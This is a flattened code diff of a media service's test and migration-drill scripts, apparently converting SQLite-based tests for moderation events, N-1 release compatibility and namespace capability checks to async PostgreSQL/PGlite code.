'reported for review', placed_by: STAFF, note: 'ticket 12' });++ let ev = await moderation();++ assert.strictEqual(ev.length, 1, 'one event for the placed hold');++ const e = ev[0];++ assert.ok(contracts.validate('media.moderation.action@1', e.payload).valid, JSON.stringify(contracts.validate('media.moderation.action@1', e.payload).errors));++ assert.deepStrictEqual(e.payload.target, { type: 'vod', id: obj, owner_subject: OWNER });++ assert.deepStrictEqual([e.payload.action, e.payload.actor_subject, e.payload.reason, e.payload.details.kind, e.payload.details.hold_id], ['hold.placed', STAFF, 'reported for review', 'moderation', hold.id]);++ assert.deepStrictEqual([e.actor, e.subject, e.visibility], [{ type: 'user', id: STAFF }, { type: 'moderation_action', id: `vod:${obj}` }, 'internal']);++ assert.ok(!JSON.stringify(e.payload).includes('ticket 12'), 'the staff note stays in Media');-- model.releaseHold(hold.id, 'app:live');-- ev = moderation();-- assert.strictEqual(ev.length, 2);-- assert.deepStrictEqual([ev[1].payload.action, ev[1].payload.actor_subject, ev[1].payload.details.by, ev[1].actor], ['hold.released', null, 'app:live', { type: 'service', id: 'media' }]);-- model.releaseHold(hold.id, STAFF);-- assert.strictEqual(moderation().length, 2, 'releasing twice announces once');++ await model.releaseHold(hold.id, 'app:live');++ ev = await moderation();++ assert.strictEqual(ev.length, 2);++ assert.deepStrictEqual([ev[1].payload.action, ev[1].payload.actor_subject, ev[1].payload.details.by, ev[1].actor], ['hold.released', null, 'app:live', { type: 'service', id: 'media' }]);++ await model.releaseHold(hold.id, STAFF);++ assert.strictEqual((await moderation()).length, 2, 'releasing twice announces once');-- model.placeHold({ object_id: obj, kind: 'creator_pin', reason: 'my favourite', placed_by: OWNER });-- assert.strictEqual(moderation().length, 2, "a creator's own pin is not moderation");++ await model.placeHold({ object_id: obj, kind: 'creator_pin', reason: 'my favourite', placed_by: OWNER });++ assert.strictEqual((await moderation()).length, 2, "a creator's own pin is not moderation");-- // A developer sandbox tenant announces nothing.-- db.upsertApp({ app_id: 'app.p_sandbox', api_key: 'sandbox-key' });-- const sandbox = db.isSandboxTenant('app.p_sandbox');-- if (sandbox) {-- const so = model.createObject({ app_id: 'app.p_sandbox', kind: 'file', lifecycle_status: 'ready', size_bytes: 1 });-- model.placeHold({ object_id: so, kind: 'admin', reason: 'x', placed_by: STAFF });-- assert.strictEqual(moderation().length, 2, 'sandbox tenants produce no platform events');-- }++ // A developer sandbox tenant announces nothing.++ await db.upsertApp({ app_id: 'app.p_sandbox', api_key: 'sandbox-key' });++ const sandbox = await db.isSandboxTenant('app.p_sandbox');++ if (sandbox) {++ const so = await model.createObject({ app_id: 'app.p_sandbox', kind: 'file', lifecycle_status: 'ready', size_bytes: 1 });++ await model.placeHold({ object_id: so, kind: 'admin', reason: 'x', placed_by: STAFF });++ assert.strictEqual((await moderation()).length, 2, 'sandbox tenants produce no platform events');++ }-- events._reset();-- stub.close();-- console.log('moderation events: all checks passed');-- process.exit(0);++ events._reset();++ stub.close();++ console.log('moderation events: all checks passed');++ process.exit(0);++ })().catch((err) => { console.error(err); process.exit(1); });})().catch((err) => { console.error(err); process.exit(1); });@@@ -77,7 +77,23 @@ async function check(name, fn) {fs.mkdirSync(path.dirname(dbPath), { recursive: true });fs.mkdirSync(dataDir, { recursive: true });let server = null;++ // This release on PostgreSQL (ADR-035) and N-1 on SQLite: they never share a database (the switch stops the++ // service, imports, then starts this release), so N-1's SQL has no schema of this release to run on. The client++ // half still runs, on a freshly migrated and seeded database. Both on PostgreSQL: N keeps every migration N-1 ran.++ const pg = fs.existsSync(path.join(ROOT, 'migrations'));++ const sqlSkip = pg && worker.engine !== 'postgresql' ? 'N-1 SQL: skipped (N-1 runs on SQLite and this release on PostgreSQL: no shared database, so no N-1 statement runs on this schema; scripts/migrate-to-postgres.js moves the data and was rehearsed)' : null;++ if (pg && worker.engine === 'postgresql') {++ await check(`N-1's ${worker.migrations.length} migration file(s) are all here, unchanged`, () => {++ const dir = path.join(ROOT, 'migrations');++ const hash = (f) => require('crypto').createHash('sha256').update(fs.readFileSync(path.join(dir, f))).digest('hex');++ const bad = worker.migrations.filter((m) => !fs.existsSync(path.join(dir, m.name)) || hash(m.name) !== m.sha256).map((m) => m.name);++ assert.deepStrictEqual(bad, [], 'a migration N-1 ran was removed or edited: write a new one instead');++ });++ }try {++ if (pg) {++ svc.seed({ dir: ROOT, dbPath, dataDir });++ } else {console.log(`n-1: this release on a database N-1 created`);await check('N-1\'s schema, ledger and first-use tables load, and this release migrates and seeds it', () => {const d = new Database(dbPath);@@@ -95,6 +111,7 @@ async function check(name, fn) {d.close();svc.seed({ dir: ROOT, dbPath, dataDir });});++ }server = await svc.boot({ dir: ROOT, dbPath, dataDir });const manifest = await (await fetch(`${server.url}/release.json`)).json();@@@ -124,6 +141,8 @@ async function check(name, fn) {await server.close();server = null;++ if (sqlSkip) console.log(sqlSkip);++ else if (!pg) {console.log('n-1: N-1\'s SQL on the schema this release migrated');await check(`every statement N-1 runs still prepares (${worker.statements.length}), and none of its INSERTs misses a new required column`, () => {const d = new Database(dbPath, { readonly: true });@@@ -131,6 +150,7 @@ async function check(name, fn) {d.close();assert.deepStrictEqual(problems.map((p) => `${p.error}: ${p.sql.slice(0, 160)}`), [], 'N-1 SQL that breaks on this schema (expand first, contract a release later: ADR-028)');});++ }} finally {if (server) { console.log(server.log().slice(-1500)); await server.close(); }fs.rmSync(tmp, { recursive: true, force: true });@@@ -51,6 +51,31 @@ const SEED = `db.close();`;++// A release on PostgreSQL (ADR-035: migrations/): its database is an embedded PGlite directory under dataDir, which++// the seed and then the drill-mode boot open one after the other (never both at once).++const isPg = (dir) => fs.existsSync(path.join(dir, 'migrations'));++const pgDir = (dataDir) => path.join(dataDir, 'pglite');++const SEED_PG = `++ console.log = () => {}; console.warn = () => {};++ const fs = require('fs'); const path = require('path');++ const db = require('./server/db/database');++ (async () => {++ await db.initDb();++ await db.upsertApp({ app_id: 'live', name: 'OpenVibe.Live', api_key: ${JSON.stringify(APP_BEARER)} });++ const put = (dir, name) => { const f = path.join(process.env[dir], name); fs.mkdirSync(path.dirname(f), { recursive: true }); fs.writeFileSync(f, 'bytes of ' + name); return f; };++ await db.run("INSERT INTO vods (app_id, user_id, title, file_path, file_size, thumbnail_url, duration_seconds, is_public, visibility) VALUES ('live', 1, 'N-1 VOD', ?, 18, '/t/vod-1-1.jpg', 60, 1, 'public')", [put('VOD_PATH', 'vod-1.mp4')]);++ await db.run("INSERT INTO clips (app_id, vod_id, user_id, title, file_path, duration_seconds, status, is_public, visibility) VALUES ('live', 1, 1, 'N-1 clip', ?, 10, 'ready', 1, 'public')", [put('CLIPS_PATH', 'clip-1.mp4')]);++ await db.run("INSERT INTO pastes (app_id, slug, type, title, content, visibility) VALUES ('live', 'n1paste', 'paste', 'N-1 paste', 'hello from N-1', 'public')");++ await db.run("INSERT INTO files (key, app_id, original_name, size, mime) VALUES ('n1file.txt', 'live', 'n1file.txt', 17, 'text/plain')");++ put('FILES_PATH', 'live/n1file.txt'); put('THUMBNAILS_PATH', 'vod-1-1.jpg');++ await require('./server/objects/backfill').backfill({ onlyMissing: true });++ const obj = await db.get("SELECT id FROM media_objects WHERE kind = 'vod' ORDER BY created_at, id LIMIT 1");++ fs.writeFileSync(path.join(process.env.N1_DATA, 'n1-ids.json'), JSON.stringify({ object: obj ? obj.id : null }));++ await db.close();++ process.exit(0);++ })().catch((err) => { process.stderr.write(String(err.stack || err)); process.exit(1); });++`;++module.exports = {service: 'media',@@@ -84,7 +109,9 @@ module.exports = {/** Seeds a database with the release in `dir` (opening it migrates first). */seed({ dir, dbPath, dataDir }) {-- const r = spawnSync(process.execPath, ['-e', SEED], { cwd: dir, encoding: 'utf8', timeout: 120000, env: baseEnv(dbPath, dataDir, {}) });++ const pg = isPg(dir);++ const r = spawnSync(process.execPath, ['-e', pg ? SEED_PG : SEED], { cwd: dir, encoding: 'utf8', timeout: 120000,++ env: baseEnv(dbPath, dataDir, pg ? { MEDIA_PGLITE_DIR: pgDir(dataDir), N1_DATA: dataDir } : {}) });if (r.status !== 0) throw new Error(`seeding failed:\n${String(r.stderr || '').slice(-2000)}`);},@@@ -93,7 +120,7 @@ module.exports = {const port = await freePort();const child = spawn(process.execPath, ['-r', PRELOAD, 'server/index.js'], {cwd: dir,-- env: baseEnv(dbPath, dataDir, { MEDIA_DRILL: '1', HOST: '127.0.0.1', PORT: String(port), N1_SQL_OUT: sqlOut }),++ env: baseEnv(dbPath, dataDir, { MEDIA_DRILL: '1', HOST: '127.0.0.1', PORT: String(port), N1_SQL_OUT: sqlOut, ...(isPg(dir) ? { MEDIA_PGLITE_DIR: pgDir(dataDir) } : {}) }),stdio: ['ignore', 'pipe', 'pipe'],});let log = '';@@@ -109,7 +136,9 @@ module.exports = {}// The seeded VOD's object (ids are random): the SDK's object calls address it.let object = null;-- try {++ if (isPg(dir)) {++ try { object = JSON.parse(fs.readFileSync(path.join(dataDir, 'n1-ids.json'), 'utf8')).object; } catch { /* not seeded */ }++ } else try {const Database = require('better-sqlite3');const d = new Database(dbPath, { readonly: true, fileMustExist: true });try { object = (d.prepare("SELECT id FROM media_objects WHERE kind = 'vod' ORDER BY created_at, id LIMIT 1").get() || {}).id || null; } finally { d.close(); }@@@ -14,360 +14,335 @@ const os = require('os');const path = require('path');const http = require('http');const crypto = require('crypto');--const Database = require('better-sqlite3');--const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-namespaces-'));--const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };--process.env.DB_PATH = path.join(tmp, 'media.db');--process.env.VOD_PATH = dir('vods');--process.env.FILES_PATH = dir('files');--process.env.OBJECTS_PATH = dir('objects');--process.env.THUMBNAILS_PATH = dir('thumbnails');--process.env.OV_NETWORK_URL = 'https://openvibe.network';--process.env.MEDIA_PUBLIC_URL = 'https://media.test';--process.env.MEDIA_SIGNING_SECRET = 'test-signing-secret';--process.env.MEDIA_NAMESPACE_MAX_CHILDREN = '6';--process.env.MEDIA_MULTIPART_MIN_PART_MB = '1';--process.env.MEDIA_UPLOAD_MIN_FREE_MB = '0';----const { serviceAuth, ids } = require('openvibe-contracts');--const PA = `prj_${ids.ulid()}`;--const PB = `prj_${ids.ulid()}`;--const APP_A = `app_${ids.ulid()}`;++(async () => {++ const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-namespaces-'));++ const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };++ process.env.DB_PATH = path.join(tmp, 'media.db');++ process.env.VOD_PATH = dir('vods');++ process.env.FILES_PATH = dir('files');++ process.env.OBJECTS_PATH = dir('objects');++ process.env.THUMBNAILS_PATH = dir('thumbnails');++ process.env.OV_NETWORK_URL = 'https://openvibe.network';++ process.env.MEDIA_PUBLIC_URL = 'https://media.test';++ process.env.MEDIA_SIGNING_SECRET = 'test-signing-secret';++ process.env.MEDIA_NAMESPACE_MAX_CHILDREN = '6';++ process.env.MEDIA_MULTIPART_MIN_PART_MB = '1';++ process.env.MEDIA_UPLOAD_MIN_FREE_MB = '0';--// ── A database from before namespaces were rows ──--{-- const h = new Database(process.env.DB_PATH);-- h.exec(fs.readFileSync(path.join(__dirname, '..', 'server', 'db', 'schema.sql'), 'utf8'));-- h.exec('ALTER TABLE apps ADD COLUMN project_id TEXT; ALTER TABLE apps ADD COLUMN env TEXT;');-- h.prepare("INSERT INTO apps (app_id, name, api_key_hash, quota_bytes) VALUES ('live', 'Live', ?, 0)").run(crypto.createHash('sha256').update('live-key').digest('hex'));-- h.prepare("INSERT INTO apps (app_id, name, api_key_hash, quota_bytes, project_id, env) VALUES (?, 'p', '', 1000000, ?, 'production')").run(PA, PA);-- h.prepare("INSERT INTO apps (app_id, name, api_key_hash, quota_bytes, project_id, env) VALUES (?, 'p', '', 1000000, ?, 'sandbox')").run(`${PA}-sandbox`, PA);-- const put = h.prepare("INSERT INTO media_objects (id, app_id, namespace, kind, lifecycle_status, size_bytes) VALUES (?, ?, ?, 'file', ?, ?)");-- put.run(`med_${ids.ulid()}`, PA, PA, 'ready', 10);-- put.run(`med_${ids.ulid()}`, `${PA}-sandbox`, `${PA}-sandbox`, 'ready', 20);-- put.run(`med_${ids.ulid()}`, 'live', 'live.legacy.old', 'ready', 30);-- put.run('med_01M0PRE0UPLOAD0000000000AA', 'live', 'live', 'uploading', 100);-- h.close();--}++ const { serviceAuth, ids } = require('openvibe-contracts');++ const PA = `prj_${ids.ulid()}`;++ const PB = `prj_${ids.ulid()}`;++ const APP_A = `app_${ids.ulid()}`;--const db = require('../server/db/database');--const auth = require('../server/auth');--const namespaces = require('../server/objects/namespaces');--const model = require('../server/objects/model');--const objectRoutes = require('../server/objects/routes');--const express = require('express');++ const db = require('../server/db/database');++ const auth = require('../server/auth');++ const namespaces = require('../server/objects/namespaces');++ const model = require('../server/objects/model');++ const objectRoutes = require('../server/objects/routes');++ const express = require('express');--const keys = crypto.generateKeyPairSync('rsa', { modulusLength: 2048, publicKeyEncoding: { type: 'spki', format: 'pem' }, privateKeyEncoding: { type: 'pkcs8', format: 'pem' } });--auth._setNetworkPublicKeyForTests(keys.publicKey);--const now = Math.floor(Date.now() / 1000);--const jti = () => `tok_${crypto.randomBytes(6).toString('hex')}`;--const svc = (cap, ns = ['community']) => serviceAuth.signServiceToken({ iss: 'https://openvibe.network', sub: 'svc:community', actor_type: 'service', aud: ['openvibe.media'], cap, ns, iat: now, exp: now + 300, jti: jti() }, keys.privateKey);--const appTok = ({ cap = ['media.object.upload', 'media.object.read'], ns = [PA], env = 'production', project = PA } = {}) => serviceAuth.signServiceToken({-- iss: 'https://openvibe.network', sub: `app:${APP_A}`, actor_type: 'app', aud: ['openvibe.media'], cap, ns, project_id: project, env, iat: now, exp: now + 300, jti: jti(),--}, keys.privateKey);++ const keys = crypto.generateKeyPairSync('rsa', { modulusLength: 2048, publicKeyEncoding: { type: 'spki', format: 'pem' }, privateKeyEncoding: { type: 'pkcs8', format: 'pem' } });++ auth._setNetworkPublicKeyForTests(keys.publicKey);++ const now = Math.floor(Date.now() / 1000);++ const jti = () => `tok_${crypto.randomBytes(6).toString('hex')}`;++ const svc = (cap, ns = ['community']) => serviceAuth.signServiceToken({ iss: 'https://openvibe.network', sub: 'svc:community', actor_type: 'service', aud: ['openvibe.media'], cap, ns, iat: now, exp: now + 300, jti: jti() }, keys.privateKey);++ const appTok = ({ cap = ['media.object.upload', 'media.object.read'], ns = [PA], env = 'production', project = PA } = {}) => serviceAuth.signServiceToken({++ iss: 'https://openvibe.network', sub: `app:${APP_A}`, actor_type: 'app', aud: ['openvibe.media'], cap, ns, project_id: project, env, iat: now, exp: now + 300, jti: jti(),++ }, keys.privateKey);--// ── 1. The backfill on open ──--{-- db.getDb();-- const nsOf = (app) => db.all('SELECT namespace FROM media_objects WHERE app_id = ? ORDER BY namespace', [app]).map(r => r.namespace);-- assert.deepStrictEqual(nsOf(PA), [`app.${PA}`], 'a project object moves to app.<project_id>');-- assert.deepStrictEqual(nsOf(`${PA}-sandbox`), [`app.${PA}.sandbox`], 'its sandbox object to app.<project_id>.sandbox');-- const rows = Object.fromEntries(db.all('SELECT * FROM media_namespaces').map(r => [r.namespace, r]));-- assert.deepStrictEqual([rows.live.owner, rows.live.parent, rows[`app.${PA}`].owner, rows[`app.${PA}.sandbox`].app_id], ['service:live', null, `project:${PA}`, `${PA}-sandbox`]);-- assert.deepStrictEqual([rows['live.legacy'].parent, rows['live.legacy.old'].parent], ['live', 'live.legacy'], 'a child an object names gets a row, with the chain up to its root');-- const pre = namespaces.reservation('med_01M0PRE0UPLOAD0000000000AA');-- assert.ok(pre && pre.bytes === 100 && pre.namespace === 'live', 'an upload already in progress holds its declared size');-- assert.ok(Date.parse(pre.expires_at.replace(' ', 'T') + 'Z') > Date.now() + 70 * 3600e3, 'for the full reservation window from now');-- // Idempotent, and the reservation seed runs once: a released reservation does not come back.-- namespaces.settle('med_01M0PRE0UPLOAD0000000000AA');-- db.close();-- db.getDb();-- assert.strictEqual(namespaces.reservation('med_01M0PRE0UPLOAD0000000000AA'), undefined, 'the seed ran once');-- assert.deepStrictEqual(nsOf(PA), [`app.${PA}`]);-- assert.strictEqual(db.get('SELECT COUNT(*) AS n FROM media_namespaces').n, Object.keys(rows).length, 'no duplicate rows on a second open');-- db.run("UPDATE media_objects SET lifecycle_status = 'failed' WHERE id = 'med_01M0PRE0UPLOAD0000000000AA'");-- console.log('✅ backfill: project objects under app.<project_id>, a row per namespace, reservations seeded once');--}++ // Tenants: Live, and developer project PA in production and in its sandbox. (The SQLite release moved older rows++ // into namespaces at boot; on PostgreSQL the schema starts with them, and writes keep them.)++ await db.upsertApp({ app_id: 'live', api_key: 'live-key' });++ await db.ensureProjectTenant(PA, 'production', 1000000);++ await db.ensureProjectTenant(PA, 'sandbox', 1000000);++ // Objects from before: one in each of PA's roots, and one of Live's in a child namespace (with its chain of rows).++ await db.run(`INSERT INTO media_namespaces (namespace, app_id, parent, owner) VALUES ('live.legacy', 'live', 'live', 'service:live'),++ ('live.legacy.old', 'live', 'live.legacy', 'service:live') ON CONFLICT DO NOTHING`);++ const put = db.getDb().prepare("INSERT INTO media_objects (id, app_id, namespace, kind, lifecycle_status, size_bytes) VALUES (?, ?, ?, 'file', ?, ?)");++ await put.run(`med_${ids.ulid()}`, PA, `app.${PA}`, 'ready', 10);++ await put.run(`med_${ids.ulid()}`, `${PA}-sandbox`, `app.${PA}.sandbox`, 'ready', 20);++ await put.run(`med_${ids.ulid()}`, 'live', 'live.legacy.old', 'ready', 30);--db.upsertApp({ app_id: 'tiny', api_key: 'tiny-key', quota_bytes: 100 });--auth.ensureTokenOnlyApps();--assert.ok(namespaces.get('tiny') && namespaces.get('community'), 'new tenants get their root row');++ await db.upsertApp({ app_id: 'tiny', api_key: 'tiny-key', quota_bytes: 100 });++ await auth.ensureTokenOnlyApps();++ assert.ok(await namespaces.get('tiny') && await namespaces.get('community'), 'new tenants get their root row');--const app = express();--app.put('/api/v2/:app/objects/:id/content', ...objectRoutes.contentHandlers);--app.put('/api/v2/:app/objects/:id/multipart/:uploadId/parts/:n', ...objectRoutes.partHandlers);--app.use(express.json());--app.use('/api/v1/:app/files', require('../server/files/routes'));--app.use('/api/v2/:app/objects', objectRoutes);--app.use('/api/v2/:app/jobs', require('../server/jobs/routes'));--app.use('/api/v2/:app/namespaces', require('../server/objects/namespace-routes'));--const server = http.createServer(app);++ const app = express();++ app.put('/api/v2/:app/objects/:id/content', ...objectRoutes.contentHandlers);++ app.put('/api/v2/:app/objects/:id/multipart/:uploadId/parts/:n', ...objectRoutes.partHandlers);++ app.use(express.json());++ app.use('/api/v1/:app/files', require('../server/files/routes'));++ app.use('/api/v2/:app/objects', objectRoutes);++ app.use('/api/v2/:app/jobs', require('../server/jobs/routes'));++ app.use('/api/v2/:app/namespaces', require('../server/objects/namespace-routes'));++ const server = http.createServer(app);--(async () => {-- await new Promise((r) => server.listen(0, '127.0.0.1', r));-- const base = `http://127.0.0.1:${server.address().port}`;-- const local = (u) => base + String(u).replace('https://media.test', '');-- const call = async (method, p, { bearer = 'live-key', body, raw, headers = {} } = {}) => {-- const h = { ...headers };-- if (bearer) h.authorization = `Bearer ${bearer}`;-- let payload;-- if (raw !== undefined) payload = raw;-- else if (body !== undefined) { h['content-type'] = 'application/json'; payload = JSON.stringify(body); }-- const res = await fetch(p.startsWith('http') ? p : base + p, { method, headers: h, body: payload, redirect: 'manual' });-- const text = await res.text();-- let json = null; try { json = JSON.parse(text); } catch { /* not json */ }-- return { status: res.status, body: json, text };-- };-- const C = '/api/v2/community/objects';-- // init → PUT → complete; returns the ready object (or the failing answer).-- const store = async (url, bearer, bytes, extra = {}) => {-- let r = await call('POST', url, { bearer, body: { kind: 'file', mime_type: 'application/octet-stream', size_bytes: bytes.length, ...extra } });-- if (r.status !== 201) return r;-- const id = r.body.id;-- r = await call('PUT', local(r.body.upload.url), { bearer: null, raw: bytes, headers: { 'content-type': 'application/octet-stream' } });-- if (r.status !== 200) return r;-- return call('POST', `${url}/${id}/complete`, { bearer, body: {} });-- };++ (async () => {++ await new Promise((r) => server.listen(0, '127.0.0.1', r));++ const base = `http://127.0.0.1:${server.address().port}`;++ const local = (u) => base + String(u).replace('https://media.test', '');++ const call = async (method, p, { bearer = 'live-key', body, raw, headers = {} } = {}) => {++ const h = { ...headers };++ if (bearer) h.authorization = `Bearer ${bearer}`;++ let payload;++ if (raw !== undefined) payload = raw;++ else if (body !== undefined) { h['content-type'] = 'application/json'; payload = JSON.stringify(body); }++ const res = await fetch(p.startsWith('http') ? p : base + p, { method, headers: h, body: payload, redirect: 'manual' });++ const text = await res.text();++ let json = null; try { json = JSON.parse(text); } catch { /* not json */ }++ return { status: res.status, body: json, text };++ };++ const C = '/api/v2/community/objects';++ // init → PUT → complete; returns the ready object (or the failing answer).++ const store = async (url, bearer, bytes, extra = {}) => {++ let r = await call('POST', url, { bearer, body: { kind: 'file', mime_type: 'application/octet-stream', size_bytes: bytes.length, ...extra } });++ if (r.status !== 201) return r;++ const id = r.body.id;++ r = await call('PUT', local(r.body.upload.url), { bearer: null, raw: bytes, headers: { 'content-type': 'application/octet-stream' } });++ if (r.status !== 200) return r;++ return await call('POST', `${url}/${id}/complete`, { bearer, body: {} });++ };-- // ── 2. Five verbs; the older ids keep granting the newer ones ──-- const UP = ['media.object.upload'];-- let r = await store(C, svc([...UP, 'media.object.read']), Buffer.from('root object'));-- assert.strictEqual(r.status, 200, JSON.stringify(r.body));-- const rootObj = r.body;-- assert.strictEqual(rootObj.namespace, 'community', 'the root namespace by default');-- r = await call('GET', C, { bearer: svc(['media.object.read']) });-- assert.strictEqual(r.status, 200, 'read still lists (tokens from before the split)');-- r = await call('GET', C, { bearer: svc(['media.object.list']) });-- assert.deepStrictEqual([r.status, r.body.objects.map(o => o.id)], [200, [rootObj.id]], 'media.object.list lists');-- r = await call('GET', `${C}/${rootObj.id}`, { bearer: svc(['media.object.list']) });-- assert.deepStrictEqual([r.status, r.body.code], [403, 'capability.denied'], 'list is not read');-- r = await call('POST', C, { bearer: svc(['media.object.delete']), body: { kind: 'file' } });-- assert.deepStrictEqual([r.status, r.body.code], [403, 'capability.denied'], 'delete is not write');-- r = await call('DELETE', `${C}/${rootObj.id}`, { bearer: svc(['media.object.read']) });-- assert.deepStrictEqual([r.status, r.body.code], [403, 'capability.denied'], 'read does not delete');-- r = await call('DELETE', `${C}/${rootObj.id}`, { bearer: svc(['media.object.delete']) });-- assert.deepStrictEqual([r.status, r.body.lifecycle_status], [200, 'deleted'], 'media.object.delete deletes');-- r = await call('POST', `${C}/${rootObj.id}/restore`, { bearer: svc(UP) });-- assert.deepStrictEqual([r.status, r.body.lifecycle_status], [200, 'ready'], 'upload still restores (and deletes)');-- r = await call('POST', '/api/v2/community/jobs', { bearer: svc(['media.object.read']), body: { type: 'invariant.scan' } });-- assert.deepStrictEqual([r.status, r.body.code], [403, 'capability.denied'], 'transform needs its grant');-- r = await call('POST', '/api/v2/community/jobs', { bearer: svc(['media.derivative.create']), body: { type: 'invariant.scan' } });-- assert.strictEqual(r.status, 202, `media.derivative.create transforms: ${JSON.stringify(r.body)}`);-- const job = r.body.job;-- r = await call('POST', `/api/v2/community/jobs/${job.id}/cancel`, { bearer: svc(UP) });-- assert.strictEqual(r.status, 200, 'upload still transforms');-- r = await call('GET', '/api/v2/community/jobs', { bearer: svc(['media.object.list']) });-- assert.strictEqual(r.status, 200, 'jobs are listed with list');-- r = await call('GET', `/api/v1/community/files`, { bearer: svc(['media.object.list']) });-- assert.strictEqual(r.status, 200, 'v1 files list with list');-- r = await call('POST', C, { bearer: svc(UP, ['live']), body: {} });-- assert.deepStrictEqual([r.status, r.body.code], [403, 'capability.namespace_denied'], 'another tenant\'s namespace');++ // ── 2. Five verbs; the older ids keep granting the newer ones ──++ const UP = ['media.object.upload'];++ let r = await store(C, svc([...UP, 'media.object.read']), Buffer.from('root object'));++ assert.strictEqual(r.status, 200, JSON.stringify(r.body));++ const rootObj = r.body;++ assert.strictEqual(rootObj.namespace, 'community', 'the root namespace by default');++ r = await call('GET', C, { bearer: svc(['media.object.read']) });++ assert.strictEqual(r.status, 200, 'read still lists (tokens from before the split)');++ r = await call('GET', C, { bearer: svc(['media.object.list']) });++ assert.deepStrictEqual([r.status, r.body.objects.map(o => o.id)], [200, [rootObj.id]], 'media.object.list lists');++ r = await call('GET', `${C}/${rootObj.id}`, { bearer: svc(['media.object.list']) });++ assert.deepStrictEqual([r.status, r.body.code], [403, 'capability.denied'], 'list is not read');++ r = await call('POST', C, { bearer: svc(['media.object.delete']), body: { kind: 'file' } });++ assert.deepStrictEqual([r.status, r.body.code], [403, 'capability.denied'], 'delete is not write');++ r = await call('DELETE', `${C}/${rootObj.id}`, { bearer: svc(['media.object.read']) });++ assert.deepStrictEqual([r.status, r.body.code], [403, 'capability.denied'], 'read does not delete');++ r = await call('DELETE', `${C}/${rootObj.id}`, { bearer: svc(['media.object.delete']) });++ assert.deepStrictEqual([r.status, r.body.lifecycle_status], [200, 'deleted'], 'media.object.delete deletes');++ r = await call('POST', `${C}/${rootObj.id}/restore`, { bearer: svc(UP) });++ assert.deepStrictEqual([r.status, r.body.lifecycle_status], [200, 'ready'], 'upload still restores (and deletes)');++ r = await call('POST', '/api/v2/community/jobs', { bearer: svc(['media.object.read']), body: { type: 'invariant.scan' } });++ assert.deepStrictEqual([r.status, r.body.code], [403, 'capability.denied'], 'transform needs its grant');++ r = await call('POST', '/api/v2/community/jobs', { bearer: svc(['media.derivative.create']), body: { type: 'invariant.scan' } });++ assert.strictEqual(r.status, 202, `media.derivative.create transforms: ${JSON.stringify(r.body)}`);++ const job = r.body.job;++ r = await call('POST', `/api/v2/community/jobs/${job.id}/cancel`, { bearer: svc(UP) });++ assert.strictEqual(r.status, 200, 'upload still transforms');++ r = await call('GET', '/api/v2/community/jobs', { bearer: svc(['media.object.list']) });++ assert.strictEqual(r.status, 200, 'jobs are listed with list');++ r = await call('GET', `/api/v1/community/files`, { bearer: svc(['media.object.list']) });++ assert.strictEqual(r.status, 200, 'v1 files list with list');++ r = await call('POST', C, { bearer: svc(UP, ['live']), body: {} });++ assert.deepStrictEqual([r.status, r.body.code], [403, 'capability.namespace_denied'], 'another tenant\'s namespace');-- // strict_verbs: only the verb's own id counts in that namespace.-- db.run(`UPDATE media_namespaces SET policy = '{"strict_verbs":true}' WHERE namespace = 'community'`);-- r = await call('GET', C, { bearer: svc(['media.object.read']) });-- assert.deepStrictEqual([r.status, r.body.code], [403, 'capability.denied'], 'strict: read no longer lists');-- r = await call('DELETE', `${C}/${rootObj.id}`, { bearer: svc(UP) });-- assert.deepStrictEqual([r.status, r.body.code], [403, 'capability.denied'], 'strict: upload no longer deletes');-- r = await call('GET', C, { bearer: svc(['media.object.list']) });-- assert.strictEqual(r.status, 200);-- db.run("UPDATE media_namespaces SET policy = '{}' WHERE namespace = 'community'");-- console.log('✅ verbs: read, list, write, delete, transform; older ids still grant; strict_verbs refuses them');++ // strict_verbs: only the verb's own id counts in that namespace.++ await db.run(`UPDATE media_namespaces SET policy = '{"strict_verbs":true}' WHERE namespace = 'community'`);++ r = await call('GET', C, { bearer: svc(['media.object.read']) });++ assert.deepStrictEqual([r.status, r.body.code], [403, 'capability.denied'], 'strict: read no longer lists');++ r = await call('DELETE', `${C}/${rootObj.id}`, { bearer: svc(UP) });++ assert.deepStrictEqual([r.status, r.body.code], [403, 'capability.denied'], 'strict: upload no longer deletes');++ r = await call('GET', C, { bearer: svc(['media.object.list']) });++ assert.strictEqual(r.status, 200);++ await db.run("UPDATE media_namespaces SET policy = '{}' WHERE namespace = 'community'");++ console.log('✅ verbs: read, list, write, delete, transform; older ids still grant; strict_verbs refuses them');-- // ── 3. Child namespaces; grants that name only a child ──-- r = await store(C, svc(UP, ['community.*']), Buffer.from('an avatar'), { namespace: 'avatars' });-- assert.deepStrictEqual([r.status, r.body.namespace], [200, 'community.avatars'], 'a relative name lands below the root');-- const avatar = r.body;-- assert.strictEqual(namespaces.get('community.avatars').parent, 'community');-- r = await call('POST', C, { bearer: svc(UP), body: { namespace: 'avatars' } });-- assert.deepStrictEqual([r.status, r.body.code], [403, 'capability.namespace_denied'], 'a grant of the root alone is not its children');-- for (const bad of ['Avatars', 'a..b', 'a.b.c.d', '../x', 'live', '-x']) {-- r = await call('POST', C, { bearer: svc(UP, ['community.*']), body: { namespace: bad } });-- if (bad === 'live') { assert.deepStrictEqual([r.status, r.body.namespace === undefined], [201, true]); continue; } // relative: community.live-- assert.deepStrictEqual([r.status, r.body.code], [400, 'media.namespace.invalid'], bad);-- }-- assert.ok(namespaces.get('community.live'), '"live" is relative to the tenant');-- const onlyAvatars = (cap) => svc(cap, ['community.avatars']);-- r = await call('POST', C, { bearer: onlyAvatars(UP), body: {} });-- assert.deepStrictEqual([r.status, r.body.code], [403, 'capability.namespace_denied'], 'a child grant does not write the root');-- r = await store(C, onlyAvatars(UP), Buffer.from('another avatar'), { namespace: 'community.avatars' });-- assert.deepStrictEqual([r.status, r.body.namespace], [200, 'community.avatars'], 'the full name works too');-- r = await call('GET', C, { bearer: onlyAvatars(['media.object.list']) });-- assert.ok(r.body.objects.length === 2 && r.body.objects.every(o => o.namespace === 'community.avatars'), 'a child grant lists only its namespace');-- r = await call('GET', `${C}/${rootObj.id}`, { bearer: onlyAvatars(['media.object.read']) });-- assert.deepStrictEqual([r.status, r.body.code], [403, 'capability.namespace_denied'], 'nor reads the root');-- r = await call('GET', `${C}?namespace=avatars`, { bearer: svc(['media.object.list'], ['community.*']) });-- assert.ok(r.body.objects.length === 2 && r.body.objects.every(o => o.namespace === 